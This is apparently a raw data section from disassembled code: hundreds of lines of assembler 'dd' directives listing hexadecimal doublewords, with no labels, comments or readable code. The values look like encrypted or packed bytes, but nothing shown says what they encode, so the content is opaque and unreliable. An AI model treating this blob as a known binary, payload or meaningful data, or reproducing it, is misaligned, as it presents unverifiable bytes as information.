dd 53A7CB9Fh, 758451C7h, 0B82D007Ah, 0EB4BBC6Bh, 0D6725F3Fh
dd 0BAE58178h, 6C8BECD1h, 8F92C298h, 0BF7AD183h, 0D12EE230h
dd 304CD8B8h, 0AECC54A1h, 33DB659h, 0F220AFE9h, 0AF676D99h
dd 6FCF01D2h, 3B2561B9h, 7D0BF7D5h, 0E0954BD7h, 0F6108011h
dd 3EB0BCCEh, 96AC30BBh, 8B48E23h, 0A174E329h, 690B4E0Dh
dd 2C798082h, 88D814F9h, 0A9D460B7h, 12119BC2h, 0F19BF952h
dd 0BA20515Ah, 0B72F5A83h, 56F74BFAh, 5359E913h, 2121BB6Fh
dd 8A3E7633h, 0D2572E52h, 3BA35213h, 0CEF8E413h, 0B05000B4h
dd 304DB1EDh, 99E919C1h, 20028D35h, 282BD95h, 0BBB3FAFh
dd 2945AAD4h, 565AFF09h, 42DF838Eh, 0D6E3743Fh, 0ED9400DDh
dd 0C159B167h, 8102E501h, 0F514EECDh, 8902013Fh, 0F30B210Dh
dd 0A12606F8h, 0E20C076Fh, 0E0426A54h, 25941AB7h, 82F4C127h
dd 0C6971CACh, 6FEABF00h, 4AE940F8h, 0AC0EC070h, 4BE4512Ch
dd 0B54007B0h, 0BAEB809h, 73031635h, 7D56F702h, 0F2F57ECh
dd 81C551AEh, 2FE236D5h, 0B9907F31h, 9DEF3721h, 5244BC80h
dd 10B7E8Ch, 0F466E9F5h, 0C4ED8746h, 0B50E170Ah, 899C42B3h
dd 374058C7h, 37253D9Bh, 1283F03Ch, 0EEA0FAE9h, 0D620B829h
dd 0A114B7A8h, 909FC220h, 7538342Ah, 143DAF0Ch, 0E905617Fh
dd 44153891h, 0D707E2D3h, 5517E843h, 646F42E6h, 0ED028366h
dd 7FE04BBEh, 2A35EFE9h, 9396F22Bh, 47216425h, 0BB8174ECh
dd 0F1F20AC3h, 74D53EA7h, 3A15C202h, 29994916h, 6042787Ch
dd 0E00FB90h, 0E978C82Ah, 0EAB37910h, 9FB4DC12h, 9C009F7h
dd 0A9577C97h, 0E95010CDh, 2809B7A4h, 0D1C45D46h, 6391AB87h
dd 0D92F794Bh, 0A7DD600Ch, 4ED11E05h, 3AE0DBE9h, 12299005h
dd 0A05B3A58h, 5A12475Ch, 59E8357Ah, 0E0C150Bh, 4A98F580h
dd 0F713338Ah, 5A4042D2h, 51B0462h, 5506123Dh, 0CC18BB0Ah
dd 2D022C1Ch, 0E4D05E20h, 292E1A03h, 10C7D9E9h, 517EEEA1h
dd 3F2F35F4h, 0E52B3389h, 20EF2569h, 0AABD4A22h, 5B251C69h
dd 0D0E9C2EDh, 0AA79B4CAh, 0BABC1352h, 140B0FA5h, 0A6CAB079h
dd 4612E289h, 6D28E157h, 3C82113h, 310EE804h, 6B5797B1h
dd 221029F3h, 0EF80000Fh, 5BFC30DAh, 39BE3168h, 2068BB3h
dd 0DF46146h, 92CCA33Ah, 0D88837FEh, 16A51DA4h, 0AC2A5590h
dd 0D2D33C2Fh, 7E096E91h, 677C7673h, 88DCBB4Dh, 0F33C5F5Ch
dd 41684BA9h, 74035EABh, 96C827Fh, 975C6C5Fh, 5815ECDBh
dd 1BE0285h, 0E02D2F31h, 45B19C1h, 0BAE95F17h, 9BD8AE06h
dd 294CE712h, 0BF9D24E9h, 5524BB27h, 190BAF24h, 42767B42h
dd 0D2E489E2h, 0BB0F292Bh, 72EB0893h, 0B6C82D13h, 0C6F5D5Fh
dd 57E9918Ch, 4BEEAF9Fh, 81B92EBBh, 0D8A2EFDh, 3869A640h
dd 427767Fh, 8019B0E3h, 30C8BF4Ah, 1B42650h, 0B65EA553h
dd 0A9E0E9D0h, 0A12E58F2h, 44E497AEh, 2564354Bh, 708102AFh
dd 0BA0088D5h, 0C42E0AE6h, 93028658h, 7F37B607h, 0D6C58A60h
dd 895E24C4h, 2D3FCBBBh, 204CE431h, 0AD5885CAh, 17530185h
dd 52565D07h, 0B5FB80F8h, 5429DB67h, 4F09C66Ch, 7B6FF4E7h
dd 5DC7312h, 0C4C01221h, 2568D264h, 0EAFA13C3h, 0AA16906Eh
dd 5E96CB20h, 12AB0A24h, 0B0F7B8E0h, 0B4165568h, 0E8876366h
dd 60CFAB02h, 60263401h, 28EF1F13h, 0BDBEAE3Dh, 47D93CAh
dd 61D1609Fh, 0CD39E689h, 12D34810h, 140BFE09h, 2537FA14h
dd 0FC5AB856h, 4C9AA3FAh, 1E68AD0Bh, 0C4BCF44Ah, 4FC0FF30h
dd 9C291FE9h, 1CFA8200h, 0A6806B2Dh, 0A8B711FCh, 76EB092Dh
dd 77D60274h, 0B36032E8h, 0AE044CC2h, 9CEEE92Bh, 4EF2BC17h
dd 9AD463D5h, 0DC25A881h, 8FDC796h, 4B3FAA6Eh, 67C26ED1h
dd 80010C71h, 77E020F0h, 32E9F631h, 5C5D7168h, 8D26E68h
dd 83707C82h, 69F63A1Ch, 2AA4F8E9h, 4B9F3CD0h, 98699061h
dd 82D09511h, 0B10CD898h, 3A5DA40Bh, 363E164Fh, 0EAE64062h
dd 98A5C0FCh, 57C78097h, 0FE5E2ABFh, 0E6E92462h, 3ED6A795h
dd 0D1F285E7h, 8825FC79h, 462DAE5Dh, 0FE890BD9h, 0D0123C8Bh
dd 5F0A7C1h, 0AFC412AAh, 40354023h, 40CB9A35h, 0A2B75984h
dd 0BBBF55Ah, 0E0748775h, 0EC441D27h, 80D4D8BEh, 4860C33Dh
dd 4A3438EAh, 0EBC9BA1Eh, 7F2EFF10h, 0B85FE9A2h, 5B9DEBCCh
dd 13CAA8B1h, 911E31E9h, 0FD57D7E0h, 1917C17h, 690B441Ch
dd 1F04D129h, 0A6934C08h, 0A3B5BF5Ah, 0E1F989A8h, 896B3639h
dd 13CA30E7h, 9AB64988h, 34BD0B17h, 42745E71h, 0AF3A439h
dd 0C7B40B20h, 2E96A389h, 0A8D3DD74h, 848DAD57h, 0B19C11F0h
dd 0D8308BE2h, 0EC702056h, 61C35C28h, 0ECA06322h, 0E92F45B1h
dd 662CE175h, 1293D6Bh, 147A7DD5h, 0D0283181h, 0E32E4C2Ch
dd 7E79A7FFh, 85C17E7Ah, 0A82DA1E9h, 8FC5C494h, 0DAD170A8h
dd 49E06882h, 0CA248B59h, 0AD57BA13h, 0D1895FC7h, 6FDD0C30h
dd 0C22D801Ah, 707DD8EBh, 25FA7EB2h, 47D1255Ch, 4E19F42h
dd 3092A55Bh, 0F1B523A5h, 121E4DAEh, 657F51B7h, 0AEE9470Bh
dd 4EB65AB8h, 7EEC000h, 0C680D6F6h, 210C103h, 2A98C9E9h
dd 58F6ED61h, 5C06697Bh, 162DE967h, 0BC3F512Ah, 0EF128E92h
dd 742B3877h, 4F2F45B6h, 6D82B991h, 91614F98h, 7C192DC8h
dd 0FCE04Ah, 0FAF2CDC9h, 0DB2C8725h, 0F9B900B7h, 0E93497ADh
dd 0C61B9E2Dh, 77A42019h, 0E5AD080h, 0C17CEEB8h, 73E82C98h
dd 0F756751Fh, 1404F96h, 805AF530h, 0F6BE1DE5h, 55C549DDh
dd 0BF02BF84h, 21AB1E75h, 4B760ADh, 0F2A553D5h, 0F65382F1h
dd 0B321B1ADh, 5EDE24A5h, 2D04F805h, 0DACBAC81h, 0FA272406h
dd 69E6FEAAh, 2742B200h, 0BA071CD7h, 0E328D8C2h, 6AE6BFFEh
dd 0DB68D307h, 14B6F68Bh, 0F84F08EEh, 0B40AB51Ch, 0CB82866Eh
dd 825A1C70h, 96BB2F5h, 0CD291D0Bh, 0A5261575h, 295B44FCh
dd 1C8F20AEh, 582880F8h, 8A7E95Dh, 41C314B7h, 84CC28C1h
dd 80E010E9h, 1D90CD8Fh, 0F3D96EB1h, 0C4AC59F0h, 0BFEFD118h
dd 58658480h, 0B1B79821h, 806A30D5h, 3A7CF249h, 752B2A31h
dd 8E575FFEh, 0E886A9BFh, 27CF2AADh, 0A6521AD7h, 31795E2Ch
dd 197F2D50h, 0DE2FF26Ch, 5F074205h, 0DD441140h, 0D13132C0h
dd 130FBB5Ah, 12A50E7Bh, 5A4CBDF7h, 4C851D84h, 6ED21FAh
dd 0B58674C5h, 0CDFE6B1Eh, 0D545A593h, 33BB4668h, 0AC3D5573h
dd 2A981EE7h, 0B72CDD93h, 6551B752h, 9E17572Ch, 8BA28752h
dd 0E78AB698h, 226B980h, 9764125h, 0DBE059CEh, 5B0177ADh
dd 8BF2811Eh, 0A6429020h, 814AFEF7h, 190512F5h, 11F8212Dh
dd 0DD8A04FDh, 2F68653Ch, 899F4EF2h, 4C64B857h, 46E7882Fh
dd 9E85F2FDh, 97DCE926h, 0B6D1442h, 0DB031FD6h, 0E10D0758h
dd 0CE3B2574h, 90547E2Ch, 0A9053A6h, 0BE63BA09h, 2808D176h
dd 4145BFB4h, 26B54649h, 8098DBE9h, 6855F1F7h, 65B50EE4h
dd 0CCDB826h, 0F0215B08h
dd 9D685E82h, 92B1DF28h, 1EFD0056h, 0A0E5B010h, 38814654h
dd 0E21294F6h, 9FF0012Ch, 2B13BE4Fh, 4B83E81Fh, 70B578h
dd 79497B0Ch, 1BE5E9BCh, 2539ABEh, 345AB894h, 40D16447h
dd 0DC207728h, 9E48C1ACh, 2A4A6102h, 0BD00AAA2h, 0E91B0624h
dd 25B5292Ch, 8252E80Dh, 900908F8h, 0F7DC58F4h, 1B7F530Ch
dd 0C07003EDh, 0EB2924BBh, 1472342Dh, 0AFCE2515h, 16B0DA94h
dd 1CF2544Bh, 0F527B6D4h, 142D35F9h, 2EE92F11h, 2A58EDE1h
dd 0DDBA5C32h, 3F2DAFC9h, 2EE922F4h, 92F9A3C4h, 28980BEEh
dd 203C5D11h, 6F39C6B8h, 0F2312D82h, 0DE5B9524h, 545CEB20h
dd 0FF8E849Bh, 84D9F705h, 0C3A21E35h, 634F8CFh, 4A6C28C1h
dd 68660782h, 0A94D417Fh, 82834E20h, 9CA8D576h, 5F8BF740h
dd 2D548B3Ch, 0E21DC8BDh, 452F12BEh, 7502EE35h, 7F6B0831h
dd 12711E01h, 622DE7EDh, 411DC6B4h, 0C4F87883h, 0D6AFE1F6h
dd 0CD2DA2C9h, 0E248790Ch, 0B9006B47h, 4BCD6D56h, 536FC373h
dd 203F0F4Ch, 0F8313EBCh, 80B9AA30h, 0C01CB0CBh, 0EBCF02E3h
dd 86F32006h, 0E4DA8852h, 37E92AD5h, 684D6599h, 1412C8ABh
dd 2161A555h, 5AF77C3Bh, 0B9937DFDh, 661931CAh, 0F26E5208h
dd 636809B9h, 4D6531Ah, 0EE30BE56h, 0A1E95402h, 89B4D5D8h
dd 87A279C4h, 29429CFAh, 822CC540h, 0B1206ADAh, 6B84C49Ch
dd 14AE127Eh, 3344433h, 0A216AAE9h, 263247C0h, 513B3608h
dd 0EA03129Ch, 0F750C70Ah, 0CC7203D5h, 0E97DEE01h, 3118A0D4h
dd 2EB3C751h, 0A15B9D8Ah, 708032AAh, 0EAEFA09Fh, 27B211F1h
dd 66F88910h, 0C968F917h, 4A5E38A4h, 0E225D8D4h, 47A2645h
dd 0AF1425A3h, 0B161E631h, 0FB78EF10h, 98DAD03Dh, 0C617A7B6h
dd 0F2550FF3h, 43865651h, 319F188Bh, 940714A4h, 278EFE2Dh
dd 51CFC266h, 0E766EA0Ah, 0D3139F44h, 83432C80h, 310205FEh
dd 0ECCAE9FBh, 0AE35072Fh, 0D2AA5885h, 0EAC8D0AFh, 0A1070934h
dd 8E855F6Eh, 89D9FC11h, 0D8935709h, 68C29CF1h, 7606C4ACh
dd 231039AAh, 0D3328F4Ch, 5EB4089Ch, 0BC16C90Bh, 9D840A3Dh
dd 992868FFh, 5E4E049Dh, 84D42CBEh, 0B0DFF660h, 2E69A2CFh
dd 800C689h, 0B800BAFCh, 20B64817h, 4F290F2Dh, 0D8E41DC5h
dd 985D0B72h, 0B56961B0h, 0D9281646h, 314BB6E4h, 906F23BCh
dd 0A077DBCBh, 3A8BC3B5h, 484A486Dh, 52428707h, 0F5E0F71Eh
dd 4025C048h, 4E5F160Bh, 3FE96C03h, 286203CCh, 30EC80D4h
dd 45E908D2h, 0B68C3A5Ch, 49B955Ah, 19760C05h, 40C30FEDh
dd 8D11BB07h, 1236C6AEh, 0B12484FEh, 9E1ACB7Ch, 9E61DDC7h
dd 250A8108h, 6DCB057Bh, 15FAD4CCh, 950192BFh, 208E7F17h
dd 0C21263FAh, 0E7812801h, 7D154B0Eh, 3C4CFD8h, 0E919DD40h
dd 2E198A91h, 0C0BEE888h, 0C7FCEC4Dh, 0EBB7B6C5h, 0E978A974h
dd 22964B4Ch, 0F840B277h, 0DE00B353h, 805BDD88h, 25C067CDh
dd 1EF603EDh, 40E9C802h, 20E1C40Ch, 544F8352h, 0FE349E65h
dd 6514C401h, 982015ADh, 31542F43h, 9F0CCA50h, 0FA36BC37h
dd 51722660h, 7F4E087Eh, 97345817h, 4CDABEC2h, 0BE16C061h
dd 73850D56h, 9DEC18B8h, 8114D225h, 1FDC6887h, 0A85E4273h
dd 0BF04B4ACh, 71A86826h, 0E907D6DDh, 134526B8h, 12F4E308h
dd 0B438AE31h, 6566B52Eh, 207EC348h, 0BA29D67h, 2CE05357h
dd 7548EE15h, 239186E9h, 0C9609FA1h, 0B9808818h, 0C0383C2Fh
dd 84F18100h, 2170A76Fh, 0C76372B8h, 91AD66D5h, 0F73FD831h
dd 0B8027D1Dh, 39E95945h, 31B249C9h, 254062A7h, 4C04E681h
dd 554F3805h, 0EBAB2C2h, 0F903F860h, 2ED2096Ch, 34C44E02h
dd 2DCA82A7h, 957964C8h, 9F0664EAh, 0F097EB87h, 0F6E69D6Ch
dd 2584719Dh, 68055271h, 9B44608Eh, 0BD0079D8h, 1BBE0BF1h
dd 3520B4B0h, 9D3590C7h, 5D2C3E4Ch, 76A9627Bh, 18B7208h
dd 0B1DBCB8h, 0EB32BB0Dh, 6DC740Dh, 0CC58C189h, 4754A40Fh
dd 51CD8118h, 4EE0D6B9h, 0B096BA53h, 1BFDEA1Bh, 2415ACE1h
dd 7CDD90D9h, 22E2E7E4h, 0F3D6A075h, 0C721A752h, 0E2530648h
dd 2C51D66Fh, 1607204Ch, 0A3494D68h, 0A59713A9h, 0CADEB0B9h
dd 81B880DEh, 5523BDCAh, 0E9C3470Ah, 688551DBh, 1CF343D1h
dd 68010C2Fh, 6F98B151h, 0AD02BEE1h, 70B507D4h, 506EE580h
dd 0F4B25216h, 25E989A0h, 113AFCEEh, 9368E668h, 86283859h
dd 42DAFADh, 9C6935C2h, 7E66B833h, 0D512414Bh, 53FD75BAh
dd 0E973D80Ch, 1400BD5Bh, 0C71AD6BBh, 400B252h, 6D6385E3h
dd 5101BF0Eh, 0A9EAE94Bh, 14B9DB80h, 50271961h, 0BBDBFF8h
dd 0BA037F6Fh, 0BEBC4BFEh, 0F2A9BFD5h, 6B0B41h, 0F35C1A66h
dd 0AE2FE94Eh, 0A0385B8Ch, 90295EE3h, 78ACDA4h, 0F95E283Dh
dd 4BE57784h, 428B9E7h, 0E6C1465Ah, 67C5DB0h, 891583BFh
dd 0C75936F7h, 77054CECh, 0A285545Fh, 0D2DEEAA8h, 0B407C448h
dd 7540CC20h, 7B3F00B8h, 0D8F728BAh, 32007A0Dh, 0CE3568E2h
dd 9F64CD6Bh, 0FC09C516h, 6F1A21h, 5B31D9F7h, 4D0CC003h
dd 0F72BF27Fh, 208CD65Ch, 0C4FE2C9Ah, 9FA71E88h, 0F6F93069h
dd 0A227D0B5h, 0CF446353h, 545009E8h, 7B8B9A0Bh, 1BDA5C06h
dd 4C096812h, 0A2531433h, 0D7F591EBh, 72881664h, 42848D5h
dd 1269CE5Fh, 0B18CEB92h, 58B54098h, 1D476639h, 815DD7F7h
dd 525A5C0Fh, 5E15D87h, 0F26E43DEh, 0AE0B92E9h, 0F68C14EBh
dd 0A822498Dh, 1DF9CE03h, 0C7D0883h, 0F43552Eh, 50C3A915h
dd 0E2056A21h, 0C809230Bh, 1379DEBEh, 1CE03DE9h, 17C35A29h
dd 7944AFA8h, 0CBEEC289h, 0ACBE28AEh, 9376CA62h, 0ADE70FD7h
dd 1FB0C051h, 860C27B1h, 9D0F6C1h, 0A940B5D1h, 0DCA2B0F1h
dd 0F2D6054h, 501EE1B3h, 0E0E2FAB4h, 0E05AC476h, 245848E6h
dd 7FF3E909h, 5674987Fh, 0EFEDF657h, 6F8BB829h, 46F7BDCh
dd 69BE4494h, 0C20A3D6Ah, 5C616368h, 6DBB6072h, 8100675Fh
dd 4C5816C9h, 5B76E93Eh, 784DF268h, 89E0AB2Eh, 0B04F7840h
dd 0A509DEAh, 809D8975h, 6054C3BDh, 83E91346h, 3CB7F2E8h
dd 8049AF5Ch, 5AD128D4h, 1BE11680h, 16E2ED66h, 71AA1D85h
dd 4B2E314h, 6AFB79EEh, 0A43214Bh, 0DC832778h, 0B0776C15h
dd 58A773F3h, 0ED019E93h, 643B026Fh, 0B6E13B01h, 0D45B0802h
dd 876152D9h, 18315506h, 5580BCFh, 2570943Dh, 356D0767h
dd 3DCBA0EEh, 0AAE5CDE9h, 1EA475E3h, 80F3D0AAh, 9FF07EF5h
dd 68004794h, 10543EB2h, 0E7811D5Fh, 23D7C6h, 6EAEF7D5h
dd 89287862h, 0D30CB1FAh, 0DE4B435Ah, 851D0696h, 0E2DBF77Bh
dd 3ABB5E09h, 0C4CA4239h, 82A8E85Dh, 3B6CCC00h, 77F67475h
dd 5041764Eh, 0C184899h, 750BD160h, 9012011h, 0E002D1F8h
dd 38B3302Dh, 7A20D71Ah, 92190DC6h, 2DE91D3Bh, 0C290F677h
dd 0A2F923E4h, 1D634388h, 64E20535h, 0D2FD97A9h, 0A5737060h
dd 13687A49h, 95F267E9h, 5FD6BE12h, 79EE0188h, 564865AAh
dd 0FB28605Bh, 90B8B3Bh, 0B1332068h, 598B80BBh, 0BB4AF121h
dd 8D80F378h, 0CF2E4957h, 6E02EB4Ah, 5F47466Bh, 5702B494h
dd 491D9868h, 0F7D6804Eh, 502773E1h, 2FE9D01Bh, 71921CB9h
dd 0C6505F2h, 0CC002117h, 36D2F281h, 2D5107E1h, 0D04C65B0h
dd 0E4264805h, 0AAA17AF9h, 0B3000705h, 354E47CEh, 17E5AE9h
dd 54685E61h, 10FB661Bh, 31257AF9h, 0F9A5CBFEh, 0FF506B3Ah
dd 0D72408E0h, 44072379h, 78BBE539h, 847AED3Ch, 5661EF49h
dd 0A05ADEEh, 0B8301ADh
dd 36D1646Ah, 0D673DA83h, 40D7C23Fh, 1291CFB2h, 0FF06986Eh
dd 0A9829335h, 801FC6C1h, 0BF6290D4h, 2BBE0FECh, 626DFCC9h
dd 14DCC830h, 63EB80C1h, 2127A297h, 2A8090Fh, 6285C1C3h
dd 31066800h, 5E0B892Fh, 0F1F3C2A7h, 527227C0h, 7319BA05h
dd 0D2015E9Dh, 4DF4B5Ah, 898FC17Eh, 0ED1D49DDh, 0ACE8F5C5h
dd 95041D08h, 0A7E98CE9h, 0D7AF52Ch, 0F4562FF3h, 7740E633h
dd 0BC7B14DEh, 7D05C339h, 0EF7A8B58h, 0FACB7A41h, 170EF41h
dd 9A48B7D3h, 6827DA3Eh, 4D85C28h, 0AEFB11E9h, 1807445Ch
dd 78B2423Ch, 0BCE657F6h, 0B0738305h, 7DC45E4Ch, 9FCEC307h
dd 406254A2h, 27F3DD9Ch, 6726E5Ch, 757FED0Bh, 45D982CAh
dd 274E7101h, 0DA89D74Ah, 89CEC107h, 1110368Bh, 93CD44E9h
dd 802B30F7h, 0D4312FEFh, 2B786360h, 34290373h, 0BF2BA0E9h
dd 0D1ABA0C5h, 0E7E125A1h, 1105AFADh, 6FB8C0B0h, 0D81F4CC1h
dd 0E2CE2070h, 25094F0Eh, 0E1EAC726h, 0FF03AFF2h, 0F32D6018h
dd 54F90E2Dh, 32A42577h, 0D4B0B8E7h, 2DBE0449h, 0AEA399Dh
dd 1208EF76h, 500DCD59h, 66C33183h, 0EDAB04B5h, 3C2E694h
dd 0D1FBE396h, 8976FD90h, 69EDC210h, 0CDB7FE94h, 27FA40A4h
dd 0E912648Eh, 4EB9190Ah, 0CF42B2DDh, 0D08CD709h, 0B8409512h
dd 3064C181h, 7A586912h, 71220C4h, 0ADD343E8h, 0D1F8975Ch
dd 0D29CE24Fh, 27301C1Fh, 1D295AD0h, 0CBAB2DF8h, 0BE0402B4h
dd 0F5310791h, 0D8D31D74h, 10DA645Dh, 795909DAh, 9E2AAEB3h
dd 6802E066h, 3443237Fh, 0E9B1E358h, 8C3A0D6Eh, 0DB090B33h
dd 0E255850Fh, 92DB7CF8h, 4FD4AD28h, 9752C814h, 0AAF765BFh
dd 0DA31CF49h, 600A2DE1h, 544B7FC4h, 2A2BFFCh, 6ECECBF4h
dd 4D807FDh, 1C307C4Bh, 0E9F005B2h, 0C189B02Fh, 0BC03E134h
dd 0A33AAFA1h, 43D3CA21h, 97E06413h, 295201BEh, 0F10943FFh
dd 9499205Eh, 68E2E796h, 2C985499h, 7E56A7E8h, 0BAC0E9D0h
dd 360504C2h, 0C07A5542h, 0BD707928h, 249F2BB0h, 508129F5h
dd 5300EAFFh, 0F8B73FB7h, 0F3E700EEh, 5102EFC0h, 2876E1B5h
dd 0F4AC595Fh, 0E9C9FE02h, 97A31579h, 0DA8904F7h, 63F475F6h
dd 0CDD68592h, 5DEED544h, 4EE98FEEh, 5A3AF1F4h, 32878C5Fh
dd 2D0111D3h, 5CA33BF8h, 17EF6881h, 667B3306h, 0E9520423h
dd 0F26182h, 83022478h, 8C5D64C2h, 67166083h, 4A0215A6h
dd 89301A3Fh, 0FF02DFE6h, 0F5090234h, 5632310Fh, 0E78A0190h
dd 707BC662h, 0D0E7E881h, 0DBAA2AE9h, 5204A940h, 7653AEC1h
dd 0F70027E3h, 5E3719A2h, 3341BA12h, 0DD740D8Ah, 4BDB59E9h
dd 2464726h, 9C63705h, 0CF663300h, 129453Eh, 2B555908h
dd 830ABA02h, 0D6E9EA74h, 909DB942h, 939134Fh, 94C5C39Ah
dd 0CBA8BB18h, 8743122Ah, 415D87F3h, 6A180EE9h, 0E26B3729h
dd 66518B52h, 0E9892FB5h, 0D0202452h, 0B785B5C5h, 81E040D9h
dd 6A1D88E3h, 0EB051C76h, 0C203F18Eh, 0F2015E91h, 2231BFEFh
dd 0B22B3E26h, 917D2D0h, 5EF3CAA8h, 2E0D645Fh, 0D6EA0F19h
dd 0A5F378E9h, 38620302h, 0F640DC68h, 288612Fh, 0D4877F34h
dd 0D5942802h, 2AF680EAh, 163CBB50h, 0BF535E0Ch, 0A3F78547h
dd 0C70BE2B0h, 45380542h, 1D5EB667h, 0E93DF0ECh, 2BE6231h
dd 65F93C65h, 3AC668A0h, 0A701A8BBh, 55116D9h, 29D2456Fh
dd 6DC8EED0h, 59C82C31h, 407A13D7h, 3F840576h, 33B02A9Dh
dd 80BFF82h, 0A48B93FCh, 2836F520h, 267D36A0h, 0B73A272Ch
dd 667EA01h, 5CDE2CE0h, 0B5C0521Ch, 54806F8Ch, 778CC55Bh
dd 8241BDEEh, 4060665Dh, 1D6CF123h, 0D4E94CDAh, 26D4F620h
dd 4069912Eh, 29377D6Eh, 0F5114897h, 8448182Fh, 0A35B0C1Ch
dd 0F0553F25h, 0F4B2814Ch, 0B685C00h, 7BD6354h, 779A0F95h
dd 18D723F3h, 0D7DDC2FCh, 20AF6CB7h, 0E9A06E4Fh, 0C812B8C6h
dd 0FA5F9109h, 6AD136CBh, 0B3C8D7B6h, 0C248295Bh, 1061059Fh
dd 0CC021D2h, 668B205h, 0CBE98837h, 0CF0737D3h, 3AC3353Dh
dd 2594B7B5h, 9DEBCE0Ah, 41C8B2A7h, 0B105E274h, 0DC2EE013h
dd 0E62058A6h, 6A8FFC92h, 3DB2675Ch, 1F7F804h, 0EF92C5D3h
dd 38125BDAh, 6500ECC1h, 0E50B5F3Fh, 0E680C9DDh, 95809AF8h
dd 5317B5C4h, 0F6E8D388h, 58E70F75h, 0FA41CFFEh, 348499E9h
dd 70E5C50Ch, 0B72312h, 68536689h, 316E4B03h, 2F5835Bh
dd 9637243h, 0AEF2F893h, 8A925B13h, 69C58DAEh, 821C98C9h
dd 8BEF78FBh, 49117E5Ah, 55F2A95Dh, 4AF5CD20h, 7576DD01h
dd 3BF9EB4Eh, 0ACB8E90Dh, 15886BF7h, 8451D05Ah, 637DFB16h
dd 8F4E4C34h, 25DA62DDh, 651295C1h, 5BE882B2h, 640ED40Bh
dd 89CB95Ch, 2530B7B1h, 0E00BA1AFh, 0F38152E6h, 9CD7BA9h
dd 6B2D452Eh, 43CABB1Dh, 34293C20h, 5197978Eh, 0BFF22934h
dd 48E96363h, 0EAF824D5h, 0EF2A6A0Fh, 76DEAB19h, 51EB825Dh
dd 0A2D02101h, 0DD32DC4Eh, 8284DC56h, 6768505Eh, 0EE984ED0h
dd 0C9E3C94Ah, 12308AD6h, 60BF8268h, 6F11A5E2h, 2FC1564Ah
dd 336007EBh, 0C7511295h, 42BB1F12h, 21354959h, 90D74857h
dd 0F5415D01h, 1406CA0Bh, 5CE5C102h, 0F38E0709h, 0DA3D6403h
dd 0D8E8D7CEh, 521657CAh, 91094DA1h, 0EEE4FAF4h, 520C97D7h
dd 0F27B509Eh, 90AADAB5h, 18F6055Ah, 0EB4D3F65h, 0D73A70D1h
dd 21A8BE00h, 3455613Dh, 6BFD980h, 7718263Eh, 5B62CF05h
dd 0C2BB3089h, 4F7E4521h, 0A96DEA81h, 0C881EF6Bh, 521B437Eh
dd 6CE16F01h, 75FD0804h, 88E6E934h, 7909ABA4h, 528911D3h
dd 496E0E2Ch, 0F6C013FEh, 1BEF1C4Dh, 472464Ch, 0F5C2AA9Ah
dd 0A428ECB1h, 0A113B95Eh, 0CA62AB0Fh, 4E5A5610h, 0FFD69B4h
dd 4F5E6366h, 0FF9A51C4h, 8DA95673h, 354A54CAh, 598182CDh
dd 0AF306555h, 0FDB9417Ah, 25177ACh, 0AF96F02Ch, 0C6E92D42h
dd 0F1E5A59Eh, 81921EBCh, 20B60FEAh, 6B40EA52h, 0F3282559h
dd 6B8B2A45h, 6C68D686h, 595BD7FEh, 0C5F84C39h, 0BE1DCE96h
dd 384E2EA0h, 3706EE81h, 4618F402h, 2C5C02B2h, 0DE291F5Ah
dd 995196Ch, 0A5BC7993h, 29563FBh, 5BE84B8Dh, 0B703B443h
dd 0FD8851A1h, 2F5EE92h, 54B8C364h, 40F77296h, 64F680FDh
dd 0FE5AFAD2h, 11E94690h, 4A299E60h, 497A1930h, 0D1F76F5Dh
dd 9289D325h, 56447871h, 7279D3C2h, 33226304h, 1513BD27h
dd 1BC2F20h, 0F818CCC4h, 4058A29Ch, 2748166Bh, 0B65441AAh
dd 580F131Ah, 833E2046h, 0C5F99Dh, 6E1225E1h, 75DA568h
dd 211081AFh, 0B220633Eh, 5E9F13B3h, 108FB8C6h, 0B90261EDh
dd 0FCDC5743h, 6BDDA7C2h, 0AD305B2Eh, 0A5C15B3Ah, 310198B9h
dd 1F1E73EEh, 0FE93F801h, 125896A0h, 0BD759668h, 48E9A300h
dd 57188009h, 0F081151Dh, 0DED94FCEh, 16288801h, 7A285B21h
dd 0B266F2A7h, 0CFAF8159h, 0C0BBA4A9h, 68EE951h, 0D362E996h
dd 0F9BF0095h, 0B38C337h, 0A332FC47h, 618718E3h, 52E54317h
dd 0BE2D033Ch, 5EA702DEh, 0C9EA9FB5h, 465297EEh, 0FCF9AC20h
dd 69FEB057h, 178E1CFh, 0E5A19B5Ah, 0E5A70068h, 0AE73D4FCh
dd 5D394E1Ah, 0FA0CF66h, 48046293h, 0EFECE96Dh, 0F08429AFh
dd 0A90A0ABDh, 8DC1297Eh, 585B0820h, 504BD7FDh, 0E90FD032h
dd 0D5321DA2h, 0BC7FED9h, 2796AEB3h, 0E2595A81h, 2CEFBF40h
dd 0E97D133Bh, 3B79B1ABh, 95DC24B3h, 66009E71h, 63B5515Ah
dd 6564B252h, 0FE560258h, 0B38C3D30h, 0ACF8BDC6h, 5BFCDAE6h
dd 0CF122297h, 174EE5E7h
dd 9E4D21D2h, 0D92901BBh, 0F84F3860h, 0D2310559h, 0AA420A68h
dd 3074E5DDh, 26A91D5h, 0C2685AD6h, 0F05C4655h, 585549A3h
dd 73AC2910h, 0B71EA19Eh, 80C7409Ah, 6964FBD8h, 65DF893Eh
dd 0D79E3888h, 0BACD4BFFh, 9F201AC4h, 1E4EF4F3h, 9318AC10h
dd 0BE2040F0h, 7C200556h, 52386CB0h, 966F2438h, 0AD97E924h
dd 6F6C460Ah, 610602BCh, 765B2871h, 7FEE8267h, 3A50A569h
dd 67A22D07h, 0D2501573h, 0F45ADE74h, 863E192Bh, 47052408h
dd 3D115A07h, 0F521B50h, 9231668h, 0B90FEB14h, 479E203Ch
dd 2249E9D1h, 0B95A1762h, 0A427B0Bh, 0EE550546h, 10D7CAAEh
dd 3327D882h, 9963DF54h, 56CBDF56h, 0BD84D266h, 0E6680257h
dd 0B751462Ch, 0D0A56FBh, 0D58BF069h, 39A7445Ah, 688BF9F7h
dd 38FF6238h, 0BD565A37h, 68004BE6h, 4D0A6C7Eh, 49E94058h
dd 637FFABFh, 2D34E4E0h, 8501AEDCh, 51BB3DB4h, 1D811234h
dd 0D33392E2h, 7CAF0B30h, 0C2101104h, 2D056E34h, 0D864B309h
dd 121D784Bh, 0C6435CC4h, 0CB045219h, 213C387Ah, 0BF5749C0h
dd 4A737DD7h, 5995B8B8h, 47186069h, 0B712F042h, 610513A1h
dd 0EE6B3111h, 6A827D2Fh, 0E3573510h, 8BC1C219h, 0E91F1808h
dd 4409222h, 9A2A9005h, 2D6B8259h, 0C5D0785h, 0F155A6E8h
